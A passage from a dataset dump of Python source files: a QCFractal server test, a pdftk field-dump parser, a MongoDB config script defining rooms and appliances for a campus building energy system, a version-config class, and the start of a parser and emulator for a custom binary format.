needed)\n server = FractalServer(\n port=find_open_port(), storage_project_name=\"something\", loop=loop, ssl_options=False)\n\n thread = threading.Thread(target=server.start, name=\"test IOLoop\")\n thread.daemon = True\n thread.start()\n\n loop_started = threading.Event()\n loop.add_callback(loop_started.set)\n loop_started.wait()\n\n try:\n loop.add_callback(server.stop)\n thread.join(timeout=5)\n except:\n pass\n\n\ndef test_molecule_socket(test_server):\n\n mol_api_addr = test_server.get_address(\"molecule\")\n water = portal.data.get_molecule(\"water_dimer_minima.psimol\")\n\n # Add a molecule\n r = requests.post(mol_api_addr, json={\"meta\": {}, \"data\": {\"water\": water.to_json()}})\n assert r.status_code == 200\n\n pdata = r.json()\n assert pdata[\"meta\"].keys() == meta_set\n\n # Retrieve said molecule\n r = requests.get(mol_api_addr, json={\"meta\": {\"index\": \"id\"}, \"data\": [pdata[\"data\"][\"water\"]]})\n assert r.status_code == 200\n\n gdata = r.json()\n assert isinstance(gdata[\"data\"], list)\n\n assert water.compare(gdata[\"data\"][0])\n\n # Retrieve said molecule via hash\n r = requests.get(mol_api_addr, json={\"meta\": {\"index\": \"hash\"}, \"data\": [water.get_hash()]})\n assert r.status_code == 200\n\n gdata = r.json()\n assert isinstance(gdata[\"data\"], list)\n\n assert water.compare(gdata[\"data\"][0])\n\n\ndef test_option_socket(test_server):\n\n opt_api_addr = test_server.get_address(\"option\")\n opts = portal.data.get_options(\"psi_default\")\n # Add a molecule\n r = requests.post(opt_api_addr, json={\"meta\": {}, \"data\": [opts]})\n assert r.status_code == 200\n\n pdata = r.json()\n assert pdata[\"meta\"].keys() == meta_set\n assert pdata[\"meta\"][\"n_inserted\"] == 1\n\n r = requests.get(opt_api_addr, json={\"meta\": {}, \"data\": {\"program\": opts[\"program\"], \"name\": opts[\"name\"]}})\n assert r.status_code == 200\n\n assert r.json()[\"data\"][0] == opts\n\n\ndef test_storage_socket(test_server):\n\n storage_api_addr = test_server.get_address(\"collection\") # Targets and endpoint in the FractalServer\n storage = {\"collection\": \"TorsionDrive\", \"name\": \"Torsion123\", \"something\": \"else\", \"array\": [\"54321\"]}\n\n r = requests.post(storage_api_addr, json={\"meta\": {}, \"data\": storage})\n assert r.status_code == 200\n\n pdata = r.json()\n assert pdata[\"meta\"].keys() == meta_set\n assert pdata[\"meta\"][\"n_inserted\"] == 1\n\n r = requests.get(storage_api_addr, json={\"meta\": {}, \"data\": {\"collection\": storage[\"collection\"], \"name\": storage[\"name\"]}})\n assert r.status_code == 200\n\n pdata = r.json()\n del pdata[\"data\"][0][\"id\"]\n assert pdata[\"data\"][0] == storage\n","sub_path":"qcfractal/tests/test_server.py","file_name":"test_server.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"473175313","text":"# -*- coding: utf-8 -*-\ndef parse_field_dump(f):\n '''\n Parse dump from \n\n $pdftk some.pdf dump_data_fields\n \n into list of dictionaries of field data.\n '''\n field_list = []\n t = f.read().strip()\n l = t.split('---')\n for entry in l:\n if len(entry) == 0:\n continue\n record = {}\n entry = entry.strip().split('\\n')\n for row in entry:\n key, value = (el.strip() for el in row.split(':'))\n record[key] = value\n \n field_list.append(record)\n \n return field_list\n\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"23482845","text":"import re\nimport pymongo\n\nPUBLIC_SPACE = 0\nBURKE_LAB = 1\nTEHERANI_LAB = 2\nJIANG_LAB = 3\nSAJDA_LAB = 4\nDANINO_LAB = 5\nBIOMED_LAB = 6\nOFFICE_SPACE = 0\nSTUDENT_WORK_SPACE = 1\nGENERAL_SPACE = 2\nWINDOWED = True\nNOT_WINDOWED = False\nACTIONABLE = True\nNOT_ACTIONABLE = False\nDUTY_CYCLE = True\nNO_DUTY_CYCLE = False\n\nclass DBInit(object):\n\tdef _GetConfigValue(self,key):\n\t\ttry:\n\t\t\tret=self.config_col.find_one({\"_id\":key})\n\t\t\treturn ret[\"value\"]\n\t\texcept:\n\t\t\treturn None\n\n\tdef _SetConfigValue(self,key,value):\n\t\tself.config_col.replace_one({\"_id\":key},{\"value\":value},True)\n\n\tdef WriteConfigs(self):\n\t\tself.ROOM_DEFINITION=[]\n\t\tdef addRoom(id, name, coord, labDefinition, spaceDefinition, windowedDefinition, maxOccupancy):\n\t\t\tself.ROOM_DEFINITION+=[{\n\t\t\t\t\"id\":id,\n\t\t\t\t\"name\":name,\n\t\t\t\t\"coordinate\": coord,\n\t\t\t\t\"lab\": labDefinition,\n\t\t\t\t\"space\": spaceDefinition,\n\t\t\t\t\"windowed\": windowedDefinition,\n\t\t\t\t\"maxOccupancy\": maxOccupancy\n\t\t\t}]\n\t\taddRoom(\"nwc10_hallway\", \"NWC 10F Hallway\", [0,0], PUBLIC_SPACE, GENERAL_SPACE, NOT_WINDOWED, 0)\n\t\taddRoom(\"nwc1003b_danino\", \"Danino Wet Lab Space\", [0, 0], DANINO_LAB, STUDENT_WORK_SPACE, WINDOWED, 4)\n\t\taddRoom(\"nwc10\",\"NWC 10F Public Area\", [40.810174, -73.962006], PUBLIC_SPACE, GENERAL_SPACE, NOT_WINDOWED, 0) # public area 10F, elevator bank etc.\n\t\taddRoom(\"nwc10m\",\"NWC 10M Public Area\", [40.810174, -73.962006], PUBLIC_SPACE, GENERAL_SPACE, NOT_WINDOWED, 0) # public area 10F, elevator bank etc.\n\t\t# exits\n\t\taddRoom(\"nwc8\",\"NWC 8F Public Area\", [40.810174, -73.962006], PUBLIC_SPACE, GENERAL_SPACE, WINDOWED, 0) # public area 8F\n\t\taddRoom(\"nwc7\",\"NWC 7F Public Area\", [40.810174, -73.962006], PUBLIC_SPACE, GENERAL_SPACE, WINDOWED, 0)# public area 7F\n\t\taddRoom(\"nwc4\",\"NWC 4F Public Area\", [40.810174, -73.962006], PUBLIC_SPACE, GENERAL_SPACE, WINDOWED, 0) # public area 4F\n\n\t\taddRoom(\"outOfLab\", \"Out of the Lab\", [40.810174, -73.962006], PUBLIC_SPACE, GENERAL_SPACE, WINDOWED, 999)\n\t\t# 10F space units\n\t\taddRoom(\"nwc1008\",\"NWC 1008 Office\", [40.809997, -73.961983], JIANG_LAB, OFFICE_SPACE, WINDOWED, 1)\n\t\taddRoom(\"nwc1006\",\"NWC 1006 Office\", [40.809997, -73.961983], BURKE_LAB, OFFICE_SPACE, WINDOWED, 1)\n\t\taddRoom(\"nwc1007\",\"NWC 1007 Office\", [40.809997, -73.961983], TEHERANI_LAB, OFFICE_SPACE, WINDOWED, 1)\n\t\taddRoom(\"nwc1009\",\"NWC 1009 Office\", [40.809997, -73.961983], PUBLIC_SPACE, OFFICE_SPACE, WINDOWED, 1)\n\t\taddRoom(\"nwc1010\",\"NWC 1010 Office\", [40.809997, -73.961983], SAJDA_LAB, OFFICE_SPACE, WINDOWED, 1)\n\n\t\taddRoom(\"nwc1003g\",\"1003 Optics G Lab\", [40.809965, -73.962063], JIANG_LAB, STUDENT_WORK_SPACE, NOT_WINDOWED, 3)\n\t\taddRoom(\"nwc1003g_a\", \"1003 Optics G Lab A\", [40.809965, -73.962063], BIOMED_LAB, STUDENT_WORK_SPACE, NOT_WINDOWED, 3)\n\t\taddRoom(\"nwc1003g_b\", \"1003 Optics G Lab B\", [40.809965, -73.962063], TEHERANI_LAB, STUDENT_WORK_SPACE, NOT_WINDOWED, 3)\n\t\taddRoom(\"nwc1003g_c\", \"1003 Optics G Lab C\", [40.809965, -73.962063], BIOMED_LAB, STUDENT_WORK_SPACE, NOT_WINDOWED, 3)\n\n\t\t#addRoom(\"nwc1003b\",\"1003B Lab\",[40.810022, -73.962075])\n\t\taddRoom(\"nwc1003b_a\",\"1003B Lab Area A\",[40.809980, -73.962159], JIANG_LAB, STUDENT_WORK_SPACE, WINDOWED, 2) # Seat for Peter/Daniel\n\t\taddRoom(\"nwc1003b_b\",\"1003B Lab Area B\",[40.809947, -73.962050], JIANG_LAB, STUDENT_WORK_SPACE, WINDOWED, 2) # Seat for Danny/Stephen\n\t\taddRoom(\"nwc1003b_c\",\"1003B Lab Area C\",[40.810005, -73.962072], JIANG_LAB, STUDENT_WORK_SPACE, WINDOWED, 2) # Seat for Rishi\n\t\taddRoom(\"nwc1003b_t\",\"1003B Teherani Lab\",[40.809897, -73.962138], TEHERANI_LAB, STUDENT_WORK_SPACE, WINDOWED, 4) # Prof. Teherani's space\n\t\taddRoom(\"nwc1003a\", \"1003A Hall Area\", [40.809897, -73.962138], BURKE_LAB, GENERAL_SPACE, NOT_WINDOWED, 0)\n\t\taddRoom(\"nwc1003b\", \"1003B Hall Area\", [40.809897, -73.962138], TEHERANI_LAB, GENERAL_SPACE, NOT_WINDOWED, 0)\n\t\taddRoom(\"nwc1001l\", \"1001L Hall Area\", [40.809897, -73.962138], SAJDA_LAB, GENERAL_SPACE, NOT_WINDOWED, 0)\n\n\n\t\t# 10M space units, aisle 1-8\n\t\taddRoom(\"nwc1000m_a1\",\"10M Floor, Aisle 1\", [40.810050, -73.961945], BURKE_LAB, STUDENT_WORK_SPACE, WINDOWED, 4)\n\t\taddRoom(\"nwc1000m_a2\",\"10M Floor, Aisle 2\", [40.810038, -73.961955], BURKE_LAB, STUDENT_WORK_SPACE, WINDOWED, 4)\n\t\taddRoom(\"nwc1000m_a3\",\"10M Floor, Aisle 3\", [40.810021, -73.961966], DANINO_LAB, STUDENT_WORK_SPACE, WINDOWED, 4)\n\t\taddRoom(\"nwc1000m_a4\",\"10M Floor, Aisle 4\", [40.810005, -73.961978], DANINO_LAB, STUDENT_WORK_SPACE, WINDOWED, 4)\n\t\taddRoom(\"nwc1000m_a5\",\"10M Floor, Aisle 5\", [40.809986, -73.961991], TEHERANI_LAB, STUDENT_WORK_SPACE, WINDOWED, 4)\n\t\taddRoom(\"nwc1000m_a6\",\"10M Floor, Aisle 6\", [40.809968, -73.962003], JIANG_LAB, STUDENT_WORK_SPACE, WINDOWED, 4)\n\t\taddRoom(\"nwc1000m_a7\",\"10M Floor, Aisle 7\", [40.809950, -73.962017], PUBLIC_SPACE, STUDENT_WORK_SPACE, WINDOWED, 4)\n\t\taddRoom(\"nwc1000m_a8\",\"10M Floor, Aisle 8\", [40.809933, -73.962030], PUBLIC_SPACE, STUDENT_WORK_SPACE, WINDOWED, 4)\n\n\t\t# Only the lowest-layer cubicles, corresponding to localization unit\n\n\t\tself._SetConfigValue(\"ROOM_DEFINITION\",self.ROOM_DEFINITION)\n\n\t\tself.APPLIANCE_DEFINITION=[]\n\t\tdef addAppliance(Id, Name, Type, roomsRegex, actionableDefinition, dutyCycleDefinition):\n\t\t\troomsMatched=[]\n\t\t\tfor room in self.ROOM_DEFINITION:\n\t\t\t\tif re.search(roomsRegex, room[\"id\"]):\n\t\t\t\t\troomsMatched+=[room[\"id\"]]\n\t\t\titem={\n\t\t\t\t\"id\":Id,\n\t\t\t\t\"name\":Name,\n\t\t\t\t\"type\":Type,\n\t\t\t\t\"rooms\":roomsMatched,\n\t\t\t\t\"actionable\": actionableDefinition,\n\t\t\t\t\"dutyCycle\": dutyCycleDefinition\n\t\t\t}\n\t\t\tself.APPLIANCE_DEFINITION+=[item]\n\n\t\taddAppliance(\"nwc1007_plug1\", \"Plug#1 in Prof Teherani's Office\", \"Electrical\", \"nwc1007\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1007_plug2\", \"Plug#2 in Prof Teherani's Office\", \"Electrical\", \"nwc1007\", ACTIONABLE, NO_DUTY_CYCLE)\n\n\t\taddAppliance(\"nwc1008_plug1\", \"Plug#1 in Prof Jiang's Office\", \"Electrical\", \"nwc1008\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1008_smartvent1\", \"SmartVent in Prof Jiang's Office (HVAC Indirect Sensing)\", \"HVAC\", \"nwc1008\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1008_light\", \"Lights in Prof Jiang's Office\", \"Light\", \"nwc1008\", ACTIONABLE, NO_DUTY_CYCLE)\n\n\t\taddAppliance(\"nwc1003b_a_plug\", \"Plugmeter in 1003B Lab Area A (Peter)\", \"Electrical\", \"nwc1003b_a\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003b_b_plug\", \"Plugmeter in 1003B Lab Area B (Danny&Stephen)\", \"Electrical\", \"nwc1003b_b\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003b_c_plug\", \"Plugmeter in 1003B Lab Area C (Rishi)\", \"Electrical\", \"nwc1003b_c\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"testDevice\", \"Aeon Labs Smart Switch 6 testings\", \"Electrical\", \"nwc1003b_c\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\t\n\t\taddAppliance(\"nwc1003g1_vav\", \"Heating Unit in 1003G\", \"HVAC\", \"nwc1003g.*\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003t2_vav\", \"Heating Unit in 1003b\", \"HVAC\", \"nwc1003b_a|nwc1003b_b|nwc1003b_t\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003o1_vav\", \"Heating Unit in 1003b\", \"HVAC\", \"nwc1003b_c|nwc1003b_danino\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1008_fcu\", \"Heating Vent in 1008\", \"HVAC\", \"nwc1008\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwcM2_fcu\", \"10F Mezzanine Heating Vent 1\", \"HVAC\", \"nwc1000m_a1|nwc1000m_a2|nwc1000m_a3\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwcM3_fcu\", \"10F Mezzanine Heating Vent 2\", \"HVAC\", \"nwc1000m_a4|nwc1000m_a5\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwcM1_fcu\", \"10F Mezzanine Heating Vent 3\", \"HVAC\", \"nwc1000m_a6|nwc1000m_a7\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwcM4_fcu\", \"10F Mezzanine Heating Vent 4\", \"HVAC\", \"nwc1000m_a8\", ACTIONABLE, NO_DUTY_CYCLE)\n\n\t\t# addAppliance(\"nwc1003b_fin\", \"Fin Tube Radiator in 1003B\", \"HVAC\", \"nwc1003b.*\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\t# addAppliance(\"nwc1003b_vav\", \"Air Vent in 1003B\", \"HVAC\", \"nwc1003b.*\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\t# addAppliance(\"nwc1003b_lex\", \"Fume Hoods in 1003B\", \"HVAC\", \"nwc1003b.*\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\t# addAppliance(\"nwc10_ahu\", \"Air Intake System for 10F\", \"HVAC\", \"nwc10.*\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\t# TODO: Map the FCUs (Fan Coils) to rooms, given floor plan\n\t\t# addAppliance(\"nwc1003g_vav\", \"Air Vent in 1003G\", \"HVAC\", \"nwc1003g.*\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\t\n\t\taddAppliance(\"nwc1003g_a_plug1\", \"Power outlet 1 in 1003G\", \"Electrical\", \"nwc1003g_a\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003g_a_plug2\", \"Power outlet 2 in 1003G\", \"Electrical\", \"nwc1003g_a\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003g_plug1\", \"Plugmeter in 1003G (Printer&Computer)\", \"Electrical\", \"^nwc1003g$\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003g_plug2\", \"Plugmeter in 1003G (Soldering Station)\", \"Electrical\", \"^nwc1003g$\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003g_plug3\", \"Plugmeter in 1003G (Projector&XBox)\", \"Electrical\", \"^nwc1003g$\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003b_light\", \"Lights in 1003B Lab\", \"Light\", \"nwc1003b.*\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003g_light\", \"Lights in 1003G Lab\", \"Light\", \"^nwc1003g$\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003t_light\", \"Lights in 1003T Lab\", \"Light\", \"nwc1003b_t\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003d_light\", \"Lights in 1003B Lab\", \"Light\", \"nwc1003b_danino\", ACTIONABLE, NO_DUTY_CYCLE)\n\n\t\taddAppliance(\"nwc1003gA_vav\", \"Heating Unit in 1003G_A\", \"HVAC\", \"nwc1003g_a\", ACTIONABLE, DUTY_CYCLE) #BIOMED LAB 1\n\t\taddAppliance(\"nwc1003gB_vav\", \"Heating Unit in 1003G_B\", \"HVAC\", \"nwc1003g_b\", ACTIONABLE, DUTY_CYCLE) #TEHERANI LAB\n\t\taddAppliance(\"nwc1003gC_vav\", \"Heating Unit in 1003G_C\", \"HVAC\", \"nwc1003g_c\", ACTIONABLE, DUTY_CYCLE) #BIOMED LAB 2\n\t\taddAppliance(\"nwc1003A_vav\", \"Heating Unit in 1003A\", \"HVAC\", \"nwc1003a\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc1003B_vav\", \"Heating Unit in 1003B\", \"HVAC\", \"nwc1003b\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc1001L_vav\", \"Heating Unit in 1001L\", \"HVAC\", \"nwc1001L\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc10T1_vav\", \"Heating Unit in Danino Wetlab Space\", \"HVAC\", \"nwc1003b_danino\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc10F_vav\", \"Heating Unit at 10F Elevators\", \"HVAC\", \"^nwc10$\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc8F_vav\", \"Heating Unit at 8F Elevators\", \"HVAC\", \"^nwc8$\", ACTIONABLE, DUTY_CYCLE)\n\t\taddAppliance(\"nwc7F_vav\", \"Heating Unit at 7F Elevators\", \"HVAC\", \"^nwc7$\", ACTIONABLE, DUTY_CYCLE)\n\n\t\tfor a in range(1,9,1):#1..8\n\t\t\tfor p in range(1,3,1):#1..2\n\t\t\t\tif not (a==7 and p==1):\n\t\t\t\t\taddAppliance(\"nwc1000m_a\"+str(a)+\"_plug\"+str(p), \"Power strip #\"+str(p)+\" in Mezzaine Level, Aisle #\"+str(a), \"Electrical\", \"nwc1000m_a\"+str(a), ACTIONABLE, NO_DUTY_CYCLE)\n\t\t\n\t\taddAppliance(\"nwc1000m_a6_plug3\", \"Power strip #3 in Mezzaine Level, Aisle #6\", \"Electrical\", \"nwc1000m_a6\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1000m_a6_plug4\", \"Power strip #4 in Mezzaine Level, Aisle #6\", \"Electrical\", \"nwc1000m_a6\", ACTIONABLE, NO_DUTY_CYCLE)\n# addAppliance(\"nwc1000m_a7_plug1\", \"Power strip #3 (Refrigerator&Zack) in Mezzaine Level, Aisle #6\", \"Electrical\", \"nwc1000m_a6\", ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc1000m_a1_plug3\", \"Power strip #3 in Mezzaine Level, Aisle #1\", \"Electrical\", \"nwc1000m_a1\", ACTIONABLE, NO_DUTY_CYCLE)\n\n\t\taddAppliance(\"nwc1000m_light\", \"Shared Lighting in Mezzaine Level\", \"Light\", \"nwc1000m_.*\", NOT_ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc10hallway_light\", \"Hallway Lights\", \"Light\", \"nwc10_hallway\", NOT_ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc10elevator_light\", \"Common Area Lights\", \"Light\", \"^nwc10$\", NOT_ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc8_light\", \"8F Common Area Lights\", \"Light\", \"^nwc8$\", NOT_ACTIONABLE, NO_DUTY_CYCLE)\n\t\taddAppliance(\"nwc7_light\", \"7F Common Area Lights\", \"Light\", \"^nwc7$\", NOT_ACTIONABLE, NO_DUTY_CYCLE)\n\n\n\t\tself._SetConfigValue(\"APPLIANCE_DEFINITION\",self.APPLIANCE_DEFINITION)\n\n\t\t# Snapshot timeout, in seconds\n\t\tself._SetConfigValue(\"SAMPLING_TIMEOUT_SHORTEST\", 6)\n\t\tself._SetConfigValue(\"SAMPLING_TIMEOUT_LONGEST\", 60*2)\n\n\t\tself._SetConfigValue(\"WATCHDOG_TIMEOUT_USER\", 60*20)\n\t\tself._SetConfigValue(\"WATCHDOG_TIMEOUT_APPLIANCE\", 60*20)\n\n\n\tdef __init__(self):\n\t\tself.name=\"DB Initialization\"\n\t\tprint(self.name)\n\t\tself.dbc=pymongo.MongoClient()\n\t\tself.config_col=self.dbc.db.config\n\t\tself.WriteConfigs()\n\t\tprint(self._GetConfigValue(\"APPLIANCE_DEFINITION\"))\n\nDBInit()\n","sub_path":"DBinit.py","file_name":"DBinit.py","file_ext":"py","file_size_in_byte":12197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"50586987","text":"\"\"\" Class to set configurations\n\"\"\"\n\nfrom pkg_resources import resource_filename\n\nDEFAULT_VERSION = 'v0.1'\n\n\ndef get_version_file():\n return resource_filename(\n 'qube.src.resources', 'qube_version.txt')\n\n\nclass QubeConfig:\n\n qube_config = None\n \"\"\"\n Qube Config to pass around the jenkins server context\n \"\"\"\n def __init__(self):\n self.default_ver = DEFAULT_VERSION\n self.QUBE_VERSION_FILE = get_version_file()\n self.version_str = None\n self.get_version()\n\n @classmethod\n def get_config(cls):\n if not cls.qube_config:\n cls.qube_config = QubeConfig()\n return cls.qube_config\n\n def get_version(self):\n if self.version_str:\n return self.version_str\n try:\n with open(self.QUBE_VERSION_FILE, 'r') as f:\n version_str_file = f.read()\n if version_str_file:\n self.version_str = \"{} ({})\".\\\n format(self.default_ver, version_str_file.strip())\n except Exception as ex:\n self.version_str = self.default_ver\n\n return self.version_str\n","sub_path":"qube/src/commons/qube_config.py","file_name":"qube_config.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"193768896","text":"from struct import unpack\n\nclass registers:\n\tdef __init__(self):\n\t\tself.r0 = 0\n\t\tself.r1 = 0\n\t\tself.r2 = 0\n\t\tself.r3 = 0\n\t\tself.r4 = 0\n\t\tself.r5 = 0\n\t\tself.r6 = 0\n\t\tself.r7 = 0\n\t\tself.r8 = 0\n\t\tself.r9 = 0\n\t\tself.r10 = 0\n\t\tself.r11 = 0\n\t\tself.r12 = 0\n\t\tself.rip = 0x13371000\n\t\tself.r14 = 0xCAFE3FFC\n\t\tself.r15 = 0xCAFE3FFC\n\t\tself.flags = 4\n\nclass program:\n\tdef __init__(self):\n\t\tself.header = 0\n\t\tself.e_entry = 0\n\t\tself.program_headers_size = 0\n\t\tself.e_shoff = 0\n\t\tself.section_header_size = 0\n\nclass unknown:\n\tdef __init__(self):\n\t\tself.prog = program()\n\t\tself.st1 = None\n\t\tself.sections = None\n\t\tself.file = None\n\nclass section:\n\tdef __init__(self):\n\t\tself.sh_name = None\n\t\tself.sh_addr = None\n\t\tself.sh_size = None\n\t\tself.sh_offset = None\n\t\tself.sh_dsize = 0\n\t\tself.flags = None\n\t\tself.copy_cnt = None\n\t\tself.sh_link = None\n\t\tself.data = []\n\n# Globals\nsections = []\nkeys = [\n\t\"bfn1drrdpfqb9p1ztpbhzfzzssmtx4kw\",\n\t\"x51eyob6ie0nopa9kzaoy4dje6jwwk6s\",\n\t\"jtrbda50d86ov87hanjcxsbrus944xna\",\n\t\"0fi60erlof5ib5or2y7hh7y1cd4kjuue\",\n\t\"exl8xx81h8tkc08wxxh799i8o0o8vcuc\",\n\t\"3ld68478oeyhu23a0orgc19ap6x4p60u\",\n\t\"cs58ey0sec9g3ygarxxnthtzn96nzh23\",\n\t\"phch0c8fz2rnj0xxrfdza3wblcluk5ah\",\n\t\"n366nlgbt9cqb9qs3qsfq1m2w6cynoh5\",\n\t\"3ksavqwbmmc68wf8o9fmmyw467h822ov\",\n\t\"werz2pawyf0gssv9ese6o5hv06b6gj0v\",\n\t\"j249z7e7rvp58ednrmtulbrug627s3gj\",\n]\n\ndef dump(data):\n\tfor i in range(len(data)//16):\n\t\tx = data[i*16:i*16+16]\n\t\tprint([hex(i)[2:].zfill(2) for i in x])\n\ndef file_init(unkn):\n\tunkn.prog.header = unkn.file.read(4)\n\tunkn.prog.e_entry = unpack(\"I\", unkn.file.read(4))[0]\n\tunkn.prog.program_headers_size = unpack(\"I\", unkn.file.read(4))[0]\n\tunkn.prog.e_shoff = unpack(\"I\", unkn.file.read(4))[0]\n\tunkn.prog.section_header_size = unpack(\"I\", unkn.file.read(4))[0]\n\n\"\"\"\n\tprint(\"Header \\t\\t\\t\" , unkn.prog.header)\n\tprint(\"EntryPoint \\t\\t\" , hex(unkn.prog.e_entry))\n\tprint(\"Program Header Size \\t\" , hex(unkn.prog.program_headers_size))\n\tprint(\"E_shoff \\t\\t\" , hex(unkn.prog.e_shoff))\n\tprint(\"Section Header Size \\t\" , hex(unkn.prog.section_header_size))\n\"\"\"\n\ndef parse_file(unkn,filename):\n\tunkn.file = open(filename,\"rb\")\n\n\tfile_init(unkn)\n\n\t# Do Program Header thing\n\n\n\tfor _ in range(unkn.prog.section_header_size):\n\t\tassert unpack(\"I\", unkn.file.read(4))[0] == 0xDEADBEEF\n\n\t\tsect = section()\n\n\t\tname = \"\"\n\t\twhile True:\n\t\t\tx = unkn.file.read(1)\n\t\t\tif x == b'\\0':\n\t\t\t\tbreak\n\t\t\tname += x.decode()\n\n\t\tsect.sh_name = name # update\n\n\t\tsect.sh_size = unpack(\"I\", unkn.file.read(4))[0]\n\t\tsect.sh_addr = unpack(\"I\", unkn.file.read(4))[0]\n\t\tsect.flags = unpack(\"I\", unkn.file.read(4))[0]\n\t\tsect.sh_dsize = unpack(\"I\", unkn.file.read(4))[0]\n\n\t\t# print(\"\\nFound Section\")\n\t\t# print(\"Section Name \\t\\t\\t\", sect.sh_name)\n\t\t# print(\"Section Alloc Size \\t\\t\", hex(sect.sh_size))\n\t\t# print(\"Section Virtual Address \\t\", hex(sect.sh_addr))\n\t\t# print(\"Section Flags \\t\\t\\t\", hex(sect.flags))\n\t\t# print(\"Section Data Size \\t\\t\", hex(sect.sh_dsize))\n\n\t\tfor _ in range(sect.sh_dsize):\n\t\t\tsect.data.append(unpack(\"B\", unkn.file.read(1))[0])\n\t\t\t\n\t\tfor j in range(len(keys)):\n\t\t\tif(sect.sh_name == \".chk\"+str(j)):\n\t\t\t\tfor i in range(len(sect.data)):\n\t\t\t\t\tsect.data[i] ^= ord(keys[j][i % 32])\n\t\t# print(sect.data)\n\t\tsections.append(sect)\n\n\t# Do Program Header thing\n\n\n\tsect = section()\n\tsect.sh_name = \"stack\"\n\tsect.sh_size = 0x3000\n\tsect.sh_addr = 0xCAFE3000\n\tsect.flags = 3\n\n\tsections.append(sect)\n\ndef print_data():\n\tprint(\"Header \\t\\t\\t\" , unkn.prog.header)\n\tprint(\"EntryPoint \\t\\t\" , hex(unkn.prog.e_entry))\n\tprint(\"Program Header Size \\t\" , hex(unkn.prog.program_headers_size))\n\tprint(\"E_shoff \\t\\t\" , hex(unkn.prog.e_shoff))\n\tprint(\"Section Header Size \\t\" , hex(unkn.prog.section_header_size))\n\tprint(\"\\nSECTIONS: \")\n\tprint(\"Section Name \\t Section Data Size Section Alloc Size \\t Section Virtual Address \\t Section Flags\")\n\tfor obj in sections:\n\t\tprint(\" \", obj.sh_name, \"\\t\\t\", hex(obj.sh_dsize), \"\\t \", hex(obj.sh_size), \"\\t\\t \", hex(obj.sh_addr), \"\\t\\t\\t \", hex(obj.flags))\n\ndef find_sec_addr(ins):\n\tfor obj in sections:\n\t\tif(obj.sh_addr <= ins and ins < (obj.sh_addr+obj.sh_size)):\n\t\t\treturn obj\n\ndef readbyte(ins,flags):\n\tobj = find_sec_addr(ins)\n\tassert (obj.flags & (flags | 1)) != 0\n\treturn obj.data[ins - obj.sh_addr]\n\ndef readlong(ins,flags):\n\tobj = find_sec_addr(ins)\n\tassert (obj.flags & 1) != 0 and (obj.flags & flags) != 0\n\tz = ins - obj.sh_addr\n\ttmp = 0\n\tfor i in range(4):\n\t\ttmp |= obj.data[i + z] << i * 8\n\treturn hex(tmp)\n\n# def store_stack():\n\ndef set_flag_3(reg , flag):\n\tif(flag == 0):\n\t\treg.flags &= 0xFB\n\telse:\n\t\treg.flags | 4\n\ndef set_flag_1(reg , flag):\n\tif(flag == 0):\n\t\treg.flags &= 0xFE\n\telse:\n\t\treg.flags | 1\n\ndef set_flag_2(reg , flag):\n\tif(flag == 0):\n\t\treg.flags &= 0xFD\n\telse:\n\t\treg.flags | 2\n\ndef get_reg(r):\n\tassert r <= 0xF\n\treturn \"r\"+str(r)\n\ndef parse_mode(reg,unkn,data):\n\tins_count = 2\n\tdat1 = data & 0xF;\n\tdat2 = data >> 4;\n\tassert not((dat1 == 0 and dat2 != 0))\n\n\top1 = op2 = None\n\tif(dat1 != 0):\n\t\tif(dat1 == 1):\n\t\t\tx = 